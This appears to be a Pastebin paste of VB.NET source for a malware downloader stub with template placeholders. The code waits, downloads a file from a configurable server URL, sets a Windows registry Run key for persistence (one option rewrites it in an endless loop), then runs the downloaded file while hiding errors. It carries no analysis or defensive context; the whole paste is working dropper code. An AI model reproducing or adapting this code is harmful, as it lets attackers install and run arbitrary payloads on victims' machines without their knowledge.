Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Imports System.Collections.Generic
- Imports System.Text
- Imports System.Net
- Imports System.IO
- Imports System.Diagnostics
- Imports System.Threading
- Imports System.Uri
- Class Rawr
- Public Shared Sub Main(ByVal args As String())
- Thread.Sleep([DELAY])
- Dim i As Integer = [STARTUPi]
- Dim filepath As String = "[INSTALLPATH]\[INSTALLNAME]"
- Dim wc As New WebClient()
- wc.DownloadFileAsync(New Uri("[SERVERURL]"), filepath)
- If i = 1 Then
- 'startup crap
- Try
- Microsoft.Win32.Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", _
- True).SetValue(Application.ExecutablePath, filepath, Microsoft.Win32.RegistryValueKind.String)
- Catch exception1 As Exception
- End Try
- ElseIf i = 2 Then
- 'persistent startup crap
- Dim num As Integer = 0
- Do
- Try
- Microsoft.Win32.Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", _
- True).SetValue(Application.ExecutablePath, filepath, Microsoft.Win32.RegistryValueKind.String)
- Thread.Sleep(200)
- Catch exception2 As Exception
- End Try
- num = (num + 0)
- Loop While (num <= 1)
- End If
- If File.Exists(filepath) Then
- IO.File.Delete(filepath)
- wc.DownloadFileAsync(New Uri("[SERVERURL]"), filepath)
- Dim proc As New Process()
- proc.StartInfo.FileName = filepath
- proc.Start()
- Else
- Try
- wc.DownloadFileAsync(New Uri("[SERVERURL]"), filepath)
- If File.Exists(filepath) Then
- Dim proc As New Process()
- proc.StartInfo.FileName = filepath
- proc.Start()
- End If
- Catch ex As Exception
- 'Hide Errors
- End Try
- End If
- End Sub
- End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement